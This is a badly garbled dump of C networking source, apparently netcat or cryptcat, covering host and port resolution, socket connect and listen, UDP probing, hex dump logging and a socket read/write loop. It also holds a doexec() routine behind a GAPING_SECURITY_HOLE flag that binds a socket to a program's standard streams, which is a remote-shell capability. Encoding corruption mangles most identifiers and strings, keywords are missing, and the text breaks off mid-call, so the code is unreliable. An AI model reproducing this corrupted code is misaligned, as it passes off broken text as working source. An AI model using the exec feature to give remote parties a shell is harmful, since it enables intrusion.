+->
+Çme
+,
+unknown
+);
+
+380
+Ÿddr
+.
+s_addr
+ =
+ `š‘_addr
+ (
+Çme
+);
+
+382 ià(
+Ÿddr
+.
+s_addr
+ =ð
+INADDR_NONE
+) {
+
+383 ià(
+num”ic
+)
+
+384
+ `baž
+ ("Cª'ˆ·r£ % a ª IP‡dd»ss",
+Çme
+);
+
+385
+ho¡’t
+ =
+ `g‘ho¡byÇme
+ (
+Çme
+);
+
+386 ià(!
+ho¡’t
+)
+
+388
+ `baž
+ ("%s: fÜw¬d ho¡†ooku°çžed: ",
+Çme
+);
+
+389
+ `¡ºýy
+ (
+poÝ
+->
+Çme
+,
+ho¡’t
+->
+h_Çme
+,
+MAXHOSTNAMELEN
+ - 2);
+
+390 
+x
+ = 0;
+ho¡’t
+->
+h_addr_li¡
+[x] && (x < 8); x++) {
+
+391
+ `memýy
+ (&
+poÝ
+->
+Ÿddrs
+[
+x
+],
+ho¡’t
+->
+h_addr_li¡
+[x],  (
+IA
+));
+
+392
+ `¡ºýy
+ (
+poÝ
+->
+addrs
+[
+x
+],
+ `š‘_Áß
+ (poÝ->
+Ÿddrs
+[x]),
+
+393  (
+poÝ
+->
+addrs
+[0]));
+
+395 ià(!
+o_v”bo£
+)
+
+396  (
+poÝ
+);
+
+399 
+x
+ = 0;
+poÝ
+->
+Ÿddrs
+[x].
+s_addr
+ && (x < 8); x++) {
+
+400
+ho¡’t
+ =
+ `g‘ho¡byaddr
+ ((*)&
+poÝ
+->
+Ÿddrs
+[
+x
+],
+
+401  (
+IA
+),
+AF_INET
+);
+
+402 ià((!
+ho¡’t
+è|| (! ho¡’t->
+h_Çme
+))
+
+403
+ `hÞËr
+ ("Warning: inverse host†ookup failed for %s: ",
+
+404
+poÝ
+->
+addrs
+[
+x
+]);
+
+406 (è
+ `com·»ho¡s
+ (
+poÝ
+,
+ho¡’t
+);
+
+410
+ `memýy
+ (
+poÝ
+->
+Ÿddrs
+, &
+Ÿddr
+,  (
+IA
+));
+
+411
+ `¡ºýy
+ (
+poÝ
+->
+addrs
+[0],
+ `š‘_Áß
+ (
+Ÿddr
+),  (poop->addrs));
+
+412 ià(
+num”ic
+)
+
+413  (
+poÝ
+);
+
+414 ià(!
+o_v”bo£
+)
+
+415  (
+poÝ
+);
+
+416
+ho¡’t
+ =
+ `g‘ho¡byaddr
+ ((*è&
+Ÿddr
+,  (
+IA
+),
+AF_INET
+);
+
+418 ià(!
+ho¡’t
+)
+
+419
+ `hÞËr
+ ("%s: inv”£ ho¡†ooku°çžed: ",
+Çme
+);
+
+421
+ `¡ºýy
+ (
+poÝ
+->
+Çme
+,
+ho¡’t
+->
+h_Çme
+,
+MAXHOSTNAMELEN
+ - 2);
+
+422
+ho¡’t
+ =
+ `g‘ho¡byÇme
+ (
+poÝ
+->
+Çme
+);
+
+423 ià((!
+ho¡’t
+è|| (! ho¡’t->
+h_addr_li¡
+[0]))
+
+424
+ `hÞËr
+ ("Warning: forward host†ookup failed for %s: ",
+
+425
+poÝ
+->
+Çme
+);
+
+427 (è
+ `com·»ho¡s
+ (
+poÝ
+,
+ho¡’t
+);
+
+433
+h_Ӽo
+ = 0;
+
+434  (
+poÝ
+);
+
+435
+ }
+}
+
+444
+USHORT
+
+ $g‘p܍oÝ
+ (
+p¡ršg
+,
+²um
+)
+
+445 *
+p¡ršg
+;
+
+446 
+²um
+;
+
+448 
+£rv’t
+ * servent;
+
+449 
+x
+;
+
+450 
+y
+;
+
+451 *
+whichp
+ =
+p_tý
+;
+
+452 ià(
+o_udpmode
+)
+
+453
+whichp
+ =
+p_udp
+;
+
+454
+p܍oÝ
+->
+Çme
+[0] = '?';
+
+455
+p܍oÝ
+->
+Çme
+[1] = '\0';
+
+459 ià(
+²um
+) {
+
+460 ià(
+p¡ršg
+)
+
+462
+x
+ =
+²um
+;
+
+463 ià(
+o_næag
+)
+
+464 
+gp_fšish
+;
+
+465
+y
+ =
+ `htÚs
+ (
+x
+);
+
+466
+£rv’t
+ =
+ `g‘£rvbypÜt
+ (
+y
+,
+whichp
+);
+
+467 ià(
+£rv’t
+) {
+
+468
+y
+ =
+ `Áohs
+ (
+£rv’t
+->
+s_pÜt
+);
+
+469 ià(
+x
+ !ð
+y
+)
+
+470
+ `hÞËr
+ ("W¬nšg:…Üt-bynum mism©ch, %d !ð%d",
+x
+,
+y
+);
+
+471
+ `¡ºýy
+ (
+p܍oÝ
+->
+Çme
+,
+£rv’t
+->
+s_Çme
+,  (portpoop->name));
+
+473 
+gp_fšish
+;
+
+480 ià(
+p¡ršg
+) {
+
+481 ià(
+²um
+)
+
+483
+x
+ =
+ `©oi
+ (
+p¡ršg
+);
+
+484 ià(
+x
+)
+
+485  (
+ `g‘p܍oÝ
+ (
+NULL
+,
+x
+));
+
+486 ià(
+o_næag
+)
+
+488
+£rv’t
+ =
+ `g‘£rvbyÇme
+ (
+p¡ršg
+,
+whichp
+);
+
+489 ià(
+£rv’t
+) {
+
+490
+ `¡ºýy
+ (
+p܍oÝ
+->
+Çme
+,
+£rv’t
+->
+s_Çme
+,  (portpoop->name));
+
+491
+x
+ =
+ `Áohs
+ (
+£rv’t
+->
+s_pÜt
+);
+
+492 
+gp_fšish
+;
+
+509
+gp_fšish
+:
+
+512
+ `¥rštf
+ (
+p܍oÝ
+->
+ªum
+, "%d",
+x
+);
+
+513
+p܍oÝ
+->
+num
+ = (
+x
+ & 0xffff);
+
+514  (
+p܍oÝ
+->
+num
+);
+
+515
+ }
+}
+
+524
+USHORT
+
+ $ÃxÜt
+ (
+block
+)
+
+525 *
+block
+;
+
+527 
+x
+;
+
+528 
+y
+;
+
+530
+y
+ = 70000;
+
+531 
+y
+ > 0) {
+
+532
+x
+ = (
+ `RAND
+() & 0xffff);
+
+533 ià(
+block
+[
+x
+] == 1) {
+
+534
+block
+[
+x
+] = 2;
+
+537
+x
+ = 0;
+
+538
+y
+--;
+
+540 ià(
+x
+)
+
+541  (
+x
+);
+
+543
+y
+ = 65535;
+
+544 
+y
+ > 0) {
+
+545 ià(
+block
+[
+y
+] == 1) {
+
+546
+block
+[
+y
+] = 2;
+
+549
+y
+--;
+
+551 ià(
+y
+)
+
+552  (
+y
+);
+
+555
+ }
+}
+
+560 
+ $lßdpÜts
+ (
+block
+,
+lo
+,
+hi
+)
+
+561 *
+block
+;
+
+562
+USHORT
+
+lo
+;
+
+563
+USHORT
+
+hi
+;
+
+565
+USHORT
+
+x
+;
+
+567 ià(!
+block
+)
+
+568
+ `baž
+ ("loadports:‚o block?!");
+
+569 ià((!
+lo
+è|| (!
+hi
+))
+
+570
+ `baž
+ ("lßdpÜts: bogu v®ue %d, %d",
+lo
+,
+hi
+);
+
+571
+x
+ =
+hi
+;
+
+572 
+lo
+ <ð
+x
+) {
+
+573
+block
+[
+x
+] = 1;
+
+574
+x
+--;
+
+576
+ }
+}
+
+578 #ifdeà
+GAPING_SECURITY_HOLE
+
+
+579 *
+ g´00g›
+ =
+NULL
+;
+
+587 
+ $dÛxec
+ (
+fd
+)
+
+589
+ `Debug
+(( " . Inside doexec()" ))
+
+591 *
+p
+;
+
+592 
+§ved_¡d”r
+ =
+ `dup
+STDERR_FILENO
+ );
+
+593 
+”r
+ = 0;
+
+595
+ `´štf
+Ð" . DEBUG: fd = %i\n",
+fd
+ );
+
+597 iàÐ
+ `dup2
+ (
+fd
+,
+STDIN_FILENO
+) < 0 )
+
+599
+”r
+ = -1;
+
+600 
+”rÜ
+;
+
+602
+ `´štf
+Ð" . DEBUG => %s:%i\n",
+__FILE__
+,
+__LINE__
+ );
+
+604
+ `þo£
+ (
+fd
+);
+
+606 iàÐ
+ `dup2
+ (
+STDIN_FILENO
+,
+STDOUT_FILENO
+) < 0 )
+
+608
+”r
+ = -2;
+
+609 
+”rÜ
+;
+
+611
+ `årštf
+¡d”r
+, " . DEBUG => %s:%i\n",
+__FILE__
+,
+__LINE__
+ );
+
+613 iàÐ
+ `dup2
+ (
+STDIN_FILENO
+,
+STDERR_FILENO
+) < 0 )
+
+615
+”r
+ = -3;
+
+616 
+”rÜ
+;
+
+618
+ `årštf
+¡d”r
+, " . DEBUG => %s:%i\n",
+__FILE__
+,
+__LINE__
+ );
+
+621
+p
+ =
+ `¡¼chr
+ (
+´00g›
+, '/');
+
+624 iàÐ
+p
+ )
+
+626
+p
+++;
+
+632
+p
+ =
+´00g›
+;
+
+640
+ `exeþ
+´00g›
+,
+p
+,
+NULL
+ );
+
+644
+”r
+ = -4;
+
+645 
+”rÜ
+;
+
+647
+ `baž
+Ð"exeø% çžed",
+´00g›
+ );
+
+648
+ `Debug
+(( " . Leaving doexec()" ))
+
+652
+”rÜ
+:
+
+653
+ `dup2
+§ved_¡d”r
+,
+STDERR_FILENO
+ );
+
+654
+ `årštf
+¡d”r
+, " . ERROR:ƒ¼ cod%i\n",
+”r
+ );
+
+655
+ `³¼Ü
+( " goto-error: " );
+
+658
+ }
+}
+
+668 
+ $docÚÃù
+ (
+¿d
+,
+,
+Ïd
+,
+)
+
+669
+IA
+ *
+¿d
+;
+
+670
+USHORT
+
+;
+
+671
+IA
+ *
+Ïd
+;
+
+672
+USHORT
+
+;
+
+674 
+‘fd
+;
+
+675 
+;
+
+676 
+x
+,
+y
+;
+
+677
+Ӽo
+ = 0;
+
+680
+Ãwskt
+:
+
+681 ià(
+o_udpmode
+)
+
+682
+‘fd
+ =
+ `sock‘
+ (
+AF_INET
+,
+SOCK_DGRAM
+,
+IPPROTO_UDP
+);
+
+684
+‘fd
+ =
+ `sock‘
+ (
+AF_INET
+,
+SOCK_STREAM
+,
+IPPROTO_TCP
+);
+
+685 ià(
+‘fd
+ < 0)
+
+686
+ `baž
+ ("Can't get socket");
+
+687 ià(
+‘fd
+ == 0)
+
+688 
+Ãwskt
+;
+
+689
+x
+ = 1;
+
+690
+ =
+ `£tsockÝt
+ (
+‘fd
+,
+SOL_SOCKET
+,
+SO_REUSEADDR
+, &
+x
+,  (x));
+
+691 ià(
+ == -1)
+
+692
+ `hÞËr
+ ("nnetfd„euseaddr failed");
+
+693 #ifdeà
+SO_REUSEPORT
+
+
+694
+ =
+ `£tsockÝt
+ (
+‘fd
+,
+SOL_SOCKET
+,
+SO_REUSEPORT
+, &
+x
+,  (x));
+
+695 ià(
+ == -1)
+
+696
+ `hÞËr
+ ("nnetfd„euseport failed");
+
+703
+ =
+ `£tsockÝt
+(
+‘fd
+,
+SOL_SOCKET
+,
+SO_RCVBUF
+, &
+o_rcvbuf
+,  o_rcvbuf);
+
+704
+ =
+ `£tsockÝt
+(
+‘fd
+,
+SOL_SOCKET
+,
+SO_SNDBUF
+, &
+o_¢dbuf
+,  o_sndbuf);
+
+708
+lþ’d
+->
+sš_çmžy
+ =
+AF_INET
+;
+
+711
+lþ’d
+->
+sš_çmžy
+ =
+AF_INET
+;
+
+712
+»m’d
+->
+sš_çmžy
+ =
+AF_INET
+;
+
+715 ià(
+Ïd
+)
+
+716
+ `memýy
+ (&
+lþ’d
+->
+sš_addr
+.
+s_addr
+,
+Ïd
+,  (
+IA
+));
+
+717 ià(
+)
+
+718
+lþ’d
+->
+sš_pÜt
+ =
+ `htÚs
+ (
+);
+
+719
+ = 0;
+
+720 ià(
+Ïd
+ ||
+) {
+
+721
+x
+ = (è
+;
+
+723 
+y
+ = 4; y > 0; y--) {
+
+724
+ =
+ `bšd
+ (
+‘fd
+, (
+SA
+ *)
+lþ’d
+,  (SA));
+
+725 ià(
+ == 0)
+
+727 ià(
+Ӽo
+ !ð
+EADDRINUSE
+)
+
+730
+ `hÞËr
+ ("»Œyšg†oÿÈ%s:%d",
+ `š‘_Áß
+ (
+lþ’d
+->
+sš_addr
+),
+);
+
+731
+ `¦“p
+ (2);
+
+732
+Ӽo
+ = 0;
+
+736 ià(
+)
+
+737
+ `baž
+ ("Can't grab %s:%d with bind",
+
+738
+ `š‘_Áß
+(
+lþ’d
+->
+sš_addr
+),
+);
+
+740 ià(
+o_li¡’
+)
+
+741  (
+‘fd
+);
+
+743
+ `memýy
+ (&
+»m’d
+->
+sš_addr
+.
+s_addr
+,
+¿d
+,  (
+IA
+));
+
+744
+»m’d
+->
+sš_pÜt
+ =
+ `htÚs
+ (
+);
+
+783 ià(
+g©esidx
+) {
+
+785 #ifdeà
+IP_OPTIONS
+
+
+786 ià(!
+Ýtbuf
+) {
+
+787 *
+Ýp
+;
+
+788
+Ýtbuf
+ =
+ `Hm®loc
+ (48);
+
+789
+Ýp
+ =
+Ýtbuf
+;
+
+790 *
+Ýp
+++ =
+IPOPT_LSRR
+;
+
+791 *
+Ýp
+++ = ()
+
+792 (((
+g©esidx
+ + 1è*  (
+IA
+)) + 3) & 0xff;
+
+793 *
+Ýp
+++ =
+g©e¥Œ
+;
+
+795 
+x
+ = 0; x <
+g©esidx
+; x++) {
+
+796
+ `memýy
+ (
+Ýp
+,
+g©es
+[
+x
+]->
+Ÿddrs
+,  (
+IA
+));
+
+797
+Ýp
+ +ð (
+IA
+);
+
+800
+ `memýy
+ (
+Ýp
+,
+¿d
+,  (
+IA
+));
+
+801
+Ýp
+ +ð (
+IA
+);
+
+802 *
+Ýp
+ =
+IPOPT_NOP
+;
+
+806
+x
+ = ((
+g©esidx
+ + 1è*  (
+IA
+)) + 4;
+
+807
+ =
+ `£tsockÝt
+ (
+‘fd
+,
+IPPROTO_IP
+,
+IP_OPTIONS
+,
+Ýtbuf
+,
+x
+);
+
+808 ià(
+ == -1)
+
+809
+ `baž
+ ("srcrt setsockopt fuxored");
+
+811
+ `hÞËr
+ ("Warning: source„outing unavailable onhis machine, ignoring");
+
+816
+ `¬m
+ (1,
+o_wa™
+);
+
+817 ià(
+ `£tjmp
+ (
+jbuf
+) == 0) {
+
+818
+ =
+ `cÚÃù
+ (
+‘fd
+, (
+SA
+ *)
+»m’d
+,  (SA));
+
+820
+ = -1;
+
+821
+Ӽo
+ =
+ETIMEDOUT
+;
+
+823
+ `¬m
+ (0, 0);
+
+824 ià(
+ == 0)
+
+825  (
+‘fd
+);
+
+826
+ `þo£
+ (
+‘fd
+);
+
+828
+ }
+}
+
+835 
+ $dÞi¡’
+ (
+¿d
+,
+,
+Ïd
+,
+)
+
+836
+IA
+ *
+¿d
+;
+
+837
+USHORT
+
+;
+
+838
+IA
+ *
+Ïd
+;
+
+839
+USHORT
+
+;
+
+841 
+‘fd
+;
+
+842 
+;
+
+843
+HINF
+ *
+whozis
+ =
+NULL
+;
+
+844 
+x
+;
+
+845 *
+;
+
+846
+USHORT
+
+z
+;
+
+847
+Ӽo
+ = 0;
+
+850
+‘fd
+ =
+ `docÚÃù
+ (
+¿d
+,
+,
+Ïd
+,
+);
+
+851 ià(
+‘fd
+ <= 0)
+
+853 ià(
+o_udpmode
+) {
+
+854 ià(!
+)
+
+855
+ `baž
+ ("UDP†isten‚eeds -p‡rg");
+
+857
+ =
+ `li¡’
+ (
+‘fd
+, 1);
+
+858 ià(
+ < 0)
+
+859
+ `baž
+ ("local†isten fuxored");
+
+871 ià(
+o_v”bo£
+) {
+
+872
+x
+ =  (
+SA
+);
+
+873
+ =
+ `g‘sockÇme
+ (
+‘fd
+, (
+SA
+ *è
+lþ’d
+, &
+x
+);
+
+874 ià(
+ < 0)
+
+875
+ `hÞËr
+ ("local getsockname failed");
+
+876
+ `¡rýy
+ (
+bigbuf_Ãt
+, "listening on [");
+
+877 ià(
+lþ’d
+->
+sš_addr
+.
+s_addr
+)
+
+878
+ `¡rÿt
+ (
+bigbuf_Ãt
+,
+ `š‘_Áß
+ (
+lþ’d
+->
+sš_addr
+));
+
+880
+ `¡rÿt
+ (
+bigbuf_Ãt
+, "any");
+
+881
+ `¡rÿt
+ (
+bigbuf_Ãt
+, "] %d ...");
+
+882
+z
+ =
+ `Áohs
+ (
+lþ’d
+->
+sš_pÜt
+);
+
+883
+ `hÞËr
+ (
+bigbuf_Ãt
+,
+z
+);
+
+891 ià(
+o_udpmode
+) {
+
+892
+x
+ =  (
+SA
+);
+
+893
+ `¬m
+ (2,
+o_wa™
+);
+
+894 ià(
+ `£tjmp
+ (
+jbuf
+) == 0) {
+
+895
+ =
+»cväom
+
+
+896 (
+‘fd
+,
+bigbuf_Ãt
+,
+BIGSIZ
+,
+MSG_PEEK
+, (
+SA
+ *è
+»m’d
+, &
+x
+);
+
+897
+ `Debug
+ (("dÞi¡’/»cväom dšg,„¸ð%d,‚‘buà% ",
+,
+bigbuf_Ãt
+))
+
+899 
+dÞ_tmo
+;
+
+900
+ `¬m
+ (0, 0);
+
+912
+ =
+ `cÚÃù
+ (
+‘fd
+, (
+SA
+ *)
+»m’d
+,  (SA));
+
+913 
+whois™
+;
+
+917
+x
+ =  (
+SA
+);
+
+918
+ `¬m
+ (2,
+o_wa™
+);
+
+919 ià(
+ `£tjmp
+ (
+jbuf
+) == 0) {
+
+920
+ =
+ `acû±
+ (
+‘fd
+, (
+SA
+ *)
+»m’d
+, &
+x
+);
+
+922 
+dÞ_tmo
+;
+
+923
+ `¬m
+ (0, 0);
+
+924
+ `þo£
+ (
+‘fd
+);
+
+925
+‘fd
+ =
+;
+
+927
+whois™
+:
+
+928 ià(
+ < 0)
+
+929 
+dÞ_”r
+;
+
+936 #ifdeà
+IP_OPTIONS
+
+
+937 ià(!
+o_v”bo£
+)
+
+938 
+dÞ_noÝ
+;
+
+939
+Ýtbuf
+ =
+ `Hm®loc
+ (40);
+
+940
+x
+ = 40;
+
+941
+ =
+ `g‘sockÝt
+ (
+‘fd
+,
+IPPROTO_IP
+,
+IP_OPTIONS
+,
+Ýtbuf
+, &
+x
+);
+
+942 ià(
+ < 0)
+
+943
+ `hÞËr
+ ("getsockopt failed");
+
+944
+ `Debug
+ (("ÝtiÚ »ˆËÀ%d",
+x
+))
+
+945 ià(
+x
+) {
+
+946 *
+q
+ = (*è
+Ýtbuf
+;
+
+947 *
+p
+ =
+bigbuf_Ãt
+;
+
+948 *
+ = &
+bigbuf_Ãt
+[128];
+
+949
+ `mem£t
+ (
+bigbuf_Ãt
+, 0, 256);
+
+950 
+x
+ > 0) {
+
+951
+ `¥rštf
+ (
+, "%2.2x ", *
+q
+);
+
+952
+ `¡rÿt
+ (
+p
+,
+);
+
+953
+q
+++;
+p
+++;
+
+954
+x
+--;
+
+956
+ `hÞËr
+ ("IP o±iÚs: %s",
+bigbuf_Ãt
+);
+
+958
+dÞ_noÝ
+:
+
+965
+ `mem£t
+ (
+bigbuf_Ãt
+, 0, 64);
+
+966
+ = &
+bigbuf_Ãt
+[32];
+
+967
+x
+ =  (
+SA
+);
+
+968
+ =
+ `g‘sockÇme
+ (
+‘fd
+, (
+SA
+ *è
+lþ’d
+, &
+x
+);
+
+969 ià(
+ < 0)
+
+970
+ `hÞËr
+ ("post-rcv getsockname failed");
+
+971
+ `¡rýy
+ (
+,
+ `š‘_Áß
+ (
+lþ’d
+->
+sš_addr
+));
+
+982
+z
+ =
+ `Áohs
+ (
+»m’d
+->
+sš_pÜt
+);
+
+983
+ `¡rýy
+ (
+bigbuf_Ãt
+,
+ `š‘_Áß
+ (
+»m’d
+->
+sš_addr
+));
+
+984
+whozis
+ =
+ `g‘ho¡poÝ
+ (
+bigbuf_Ãt
+,
+o_næag
+);
+
+985
+Ӽo
+ = 0;
+
+986
+x
+ = 0;
+
+987 ià(
+¿d
+)
+
+988 ià(
+ `memcmp
+ (
+¿d
+,
+whozis
+->
+Ÿddrs
+,  (
+SA
+)))
+
+989
+x
+ = 1;
+
+990 ià(
+)
+
+991 ià(
+z
+ !ð
+)
+
+992
+x
+ = 1;
+
+993 ià(
+x
+)
+
+994
+ `baž
+ ("invalid connectiono [%s] from %s [%s] %d",
+
+995
+,
+whozis
+->
+Çme
+, whozis->
+addrs
+[0],
+z
+);
+
+996
+ `hÞËr
+ ("connecto [%s] from %s [%s] %d",
+
+997
+,
+whozis
+->
+Çme
+, whozis->
+addrs
+[0],
+z
+);
+
+998  (
+‘fd
+);
+
+1000
+dÞ_tmo
+:
+
+1001
+Ӽo
+ =
+ETIMEDOUT
+;
+
+1002
+dÞ_”r
+:
+
+1003
+ `þo£
+ (
+‘fd
+);
+
+1005
+ }
+}
+
+1017
+ $ud±e¡
+ (
+fd
+,
+wh”e
+)
+
+1018 
+fd
+;
+
+1019
+IA
+ *
+wh”e
+;
+
+1021 
+;
+
+1023
+ =
+ `wr™e
+ (
+fd
+,
+bigbuf_š
+, 1);
+
+1024 ià(
+ != 1)
+
+1025
+ `hÞËr
+ ("ud±e¡ fœ¡ wr™çžed?!ƒ¼nØ%d",
+Ӽo
+);
+
+1026 ià(
+o_wa™
+)
+
+1027
+ `¦“p
+ (
+o_wa™
+);
+
+1032
+o_udpmode
+ = 0;
+
+1035
+o_wa™
+ = 5;
+
+1036
+ =
+ `docÚÃù
+ (
+wh”e
+,
+SLEAZE_PORT
+, 0, 0);
+
+1037 ià(
+ > 0)
+
+1038
+ `þo£
+ (
+);
+
+1039
+o_wa™
+ = 0;
+
+1040
+o_udpmode
+++;
+
+1042
+Ӽo
+ = 0;
+
+1043
+ =
+ `wr™e
+ (
+fd
+,
+bigbuf_š
+, 1);
+
+1044 ià(
+ == 1)
+
+1045  (
+fd
+);
+
+1046
+ `þo£
+ (
+fd
+);
+
+1048
+ }
+}
+
+1060 
+ $Ýršt
+ (
+which
+,
+buf
+,
+n
+)
+
+1061 
+which
+;
+
+1062 *
+buf
+;
+
+1063 
+n
+;
+
+1065 
+bc
+;
+
+1066 
+obc
+;
+
+1067 
+soc
+;
+
+1068 *
+p
+;
+
+1069 *
+;
+
+1070 *
+a
+;
+
+1071 
+x
+;
+
+1072 
+y
+;
+
+1074 ià(!
+ofd
+)
+
+1075
+ `baž
+ ("oprint called with‚o open fd?!");
+
+1076 ià(
+n
+ == 0)
+
+1079
+ =
+¡age
+;
+
+1080 ià(
+which
+) {
+
+1081 *
+ = '<';
+
+1082
+obc
+ =
+wrÙe_out
+;
+
+1084 *
+ = '>';
+
+1085
+obc
+ =
+wrÙe_Ãt
+;
+
+1087
+++;
+
+1088 *
+ = ' ';
+
+1089
+p
+ = (*è
+buf
+;
+
+1090
+bc
+ =
+n
+;
+
+1091
+¡age
+[59] = '#';
+
+1092
+¡age
+[60] = ' ';
+
+1094 
+bc
+) {
+
+1095
+x
+ = 16;
+
+1096
+soc
+ = 78;
+
+1097 ià(
+bc
+ <
+x
+) {
+
+1098
+soc
+ = soø- 16 +
+bc
+;
+
+1099
+x
+ = (
+bc
+ * 3) + 11;
+
+1100
+ = &
+¡age
+[
+x
+];
+
+1101
+x
+ = 16 -
+bc
+;
+
+1102 
+x
+) {
+
+1103 *
+++ = ' ';
+
+1104 *
+++ = ' ';
+
+1105 *
+++ = ' ';
+
+1106
+x
+--;
+
+1108
+x
+ =
+bc
+;
+
+1111
+bc
+ -ð
+x
+;
+
+1112
+ `¥rštf
+ (&
+¡age
+[2], "%8.8x ",
+obc
+);
+
+1113
+obc
+ +ð
+x
+;
+
+1114
+ = &
+¡age
+[11];
+
+1115
+a
+ = &
+¡age
+[61];
+
+1117 
+x
+) {
+
+1118
+y
+ = ()(*
+p
+ >> 4);
+
+1119 *
+ =
+hexnibs
+[
+y
+];
+
+1120
+++;
+
+1121
+y
+ = ()(*
+p
+ & 0x0f);
+
+1122 *
+ =
+hexnibs
+[
+y
+];
+
+1123
+++;
+
+1124 *
+ = ' ';
+
+1125
+++;
+
+1126 ià((*
+p
+ > 31) && (*p < 127))
+
+1127 *
+a
+ = *
+p
+;
+
+1129 *
+a
+ = '.';
+
+1130
+a
+++;
+
+1131
+p
+++;
+
+1132
+x
+--;
+
+1134 *
+a
+ = '\n';
+
+1135
+x
+ =
+ `wr™e
+ (
+ofd
+,
+¡age
+,
+soc
+);
+
+1136 ià(
+x
+ < 0)
+
+1137
+ `baž
+ ("ofd writeƒrr");
+
+1139
+ }
+}
+
+1141 #ifdeà
+TELNET
+
+
+1142
+USHORT
+
+ go_Š
+ = 0;
+
+1149 
+ $©–Ãt
+ (
+buf
+,
+size
+)
+
+1150 *
+buf
+;
+
+1151 
+size
+;
+
+1153 
+obuf
+ [4];
+
+1154 
+x
+;
+
+1155 
+y
+;
+
+1156 *
+p
+;
+
+1158
+y
+ = 0;
+
+1159
+p
+ =
+buf
+;
+
+1160
+x
+ =
+size
+;
+
+1161 
+x
+ > 0) {
+
+1162 ià(*
+p
+ != 255)
+
+1163 
+nٟc
+;
+
+1164
+obuf
+[0] = 255;
+
+1165
+p
+++;
+x
+--;
+
+1166 ià((*
+p
+ == 251) || (*p == 252))
+
+1167
+y
+ = 254;
+
+1168 ià((*
+p
+ == 253) || (*p == 254))
+
+1169
+y
+ = 252;
+
+1170 ià(
+y
+) {
+
+1171
+obuf
+[1] =
+y
+;
+
+1172
+p
+++;
+x
+--;
+
+1173
+obuf
+[2] = *
+p
+;
+
+1174 (è
+ `wr™e
+ (
+Ãtfd
+,
+obuf
+, 3);
+
+1176
+y
+ = 0;
+
+1178
+nٟc
+:
+
+1179
+p
+++;
+x
+--;
+
+1181
+ }
+}
+
+1187 
+ $»adwr™e
+ (
+fd
+)
+
+1188 
+fd
+;
+
+1190 
+;
+
+1191 *
+zp
+;
+
+1192 *
+;
+
+1193 
+rzËá
+;
+
+1194 
+ºËá
+;
+
+1195
+USHORT
+
+̑ry
+;
+
+1196
+USHORT
+
+w»Œy
+;
+
+1197
+USHORT
+
+wfœ¡
+;
+
+1201 ià(
+fd
+ >
+FD_SETSIZE
+) {
+
+1202
+ `hÞËr
+ ("P»po¡”ou fd v®u%d",
+fd
+);
+
+1205
+ `FD_SET
+ (
+fd
+,
+dšg1
+);
+
+1206
+̑ry
+ = 2;
+
+1207
+wfœ¡
+ = 0;
+
+1208
+rzËá
+ =
+ºËá
+ = 0;
+
+1209 ià(
+š§ved
+) {
+
+1210
+rzËá
+ =
+š§ved
+;
+
+1211
+zp
+ =
+bigbuf_š
+;
+
+1212
+wfœ¡
+ = 1;
+
+1213 ià(
+SšgË
+)
+
+1214
+š§ved
+ = 0;
+
+1216
+ `FD_CLR
+ (0,
+dšg1
+);
+
+1217
+ `þo£
+ (0);
+
+1220 ià(
+o_š‹rv®
+)
+
+1221
+ `¦“p
+ (
+o_š‹rv®
+);
+
+1222
+Ӽo
+ = 0;
+
+1225 
+ `FD_ISSET
+ (
+fd
+,
+dšg1
+)) {
+
+1226
+w»Œy
+ = 8200;
+
+1227 ià(
+wfœ¡
+) {
+
+1228
+wfœ¡
+ = 0;
+
+1229 
+shov–
+;
+
+1231 *
+dšg2
+ = *
+dšg1
+;
+
+1234 ià(
+tim”1
+)
+
+1235
+ `memýy
+ (
+tim”2
+,
+tim”1
+,  (
+timev®
+));
+
+1236
+ =
+ `£Ëù
+ (16,
+dšg2
+, 0, 0,
+tim”2
+);
+
+1237 ià(
+ < 0) {
+
+1238 ià(
+Ӽo
+ !ð
+EINTR
+) {
+
+1239
+ `hÞËr
+ ("select fuxored");
+
+1240
+ `þo£
+ (
+fd
+);
+
+1246 ià(
+ == 0) {
+
+1247 ià(!
+ `FD_ISSET
+ (0,
+dšg1
+))
+
+1248
+̑ry
+--;
+
+1249 ià(!
+̑ry
+) {
+
+1250 ià(
+o_v”bo£
+ > 1)
+
+1251
+ `hÞËr
+ ("netimeout");
+
+1252
+ `þo£
+ (
+fd
+);
+
+1260 ià(
+ `FD_ISSET
+ (
+fd
+,
+dšg2
+)) {
+
+1262
+ =
+ `çrm9üy±_»ad
+ (
+fd
+,
+bigbuf_Ãt
+,
+BIGSIZ
+);
+
+1263 ià(
+ <= 0) {
+
+1264
+ `FD_CLR
+ (
+fd
+,
+dšg1
+);
+
+1265
+rzËá
+ = 0;
+
+1267
+ºËá
+ =
+;
+
+1268
+ =
+bigbuf_Ãt
+;
+
+1269 #ifdeà
+TELNET
+
+
+1270 ià(
+o_Š
+)
+
+1271
+ `©–Ãt
+ (
+,
+);
+
+1274
+ `Debug
+ (("gÙ %d fromhÃt,ƒ¼nØ%d",
+,
+Ӽo
+))
+
+1279 ià(
+rzËá
+)
+
+1280 
+shov–
+;
+
+1283 ià(
+ `FD_ISSET
+ (0,
+dšg2
+)) {
+
+1284
+ =
+ `»ad
+ (0,
+bigbuf_š
+,
+BIGSIZ
+);
+
+1287 ià(
+ <= 0) {
+
+1288
+ `FD_CLR
+ (0,
+dšg1
+);
+
+1289
+ `þo£
+ (0);
+
+1291
+rzËá
+ =
+;
+
+1292
+zp
+ =
+bigbuf_š
+;
+
+1295 ià(!
+SšgË
+) {
+
+1296
+š§ved
+ =
+;
+
+1297
+ `FD_CLR
+ (0,
+dšg1
+);
+
+1298
+ `þo£
+ (0);
+
+1303
+shov–
+:
+
+1309 ià((
+rzËá
+ > 8200è|| (
+ºËá
+ > 8200)) {
+
+1310
+ `hÞËr
+ ("Bogu bufãrs: %d, %d",
+rzËá
+,
+ºËá
+);
+
+1311
+rzËá
+ =
+ºËá
+ = 0;
+
+1314 ià(!
+w»Œy
+) {
+
+1315
+ `hÞËr
+ ("too many output„etries");
+
+1318 ià(
+ºËá
+) {
+
+1319
+ =
+ `wr™e
+ (1,
+,
+ºËá
+);
+
+1320 ià(
+ > 0) {
+
+1321 ià(
+o_wfže
+)
+
+1322
+ `Ýršt
+ (1,
+,
+);
+
+1323
+ +ð
+;
+
+1324
+ºËá
+ -ð
+;
+
+1325
+wrÙe_out
+ +ð
+;
+
+1327
+ `Debug
+ (("wrِ%dØ¡dout,ƒ¼nØ%d",
+,
+Ӽo
+))
+
+1329 ià(
+rzËá
+) {
+
+1330 ià(
+o_š‹rv®
+)
+
+1331
+ =
+ `fšdlše
+ (
+zp
+,
+rzËá
+);
+
+1333
+ =
+rzËá
+;
+
+1335
+ =
+ `çrm9üy±_wr™e
+ (
+fd
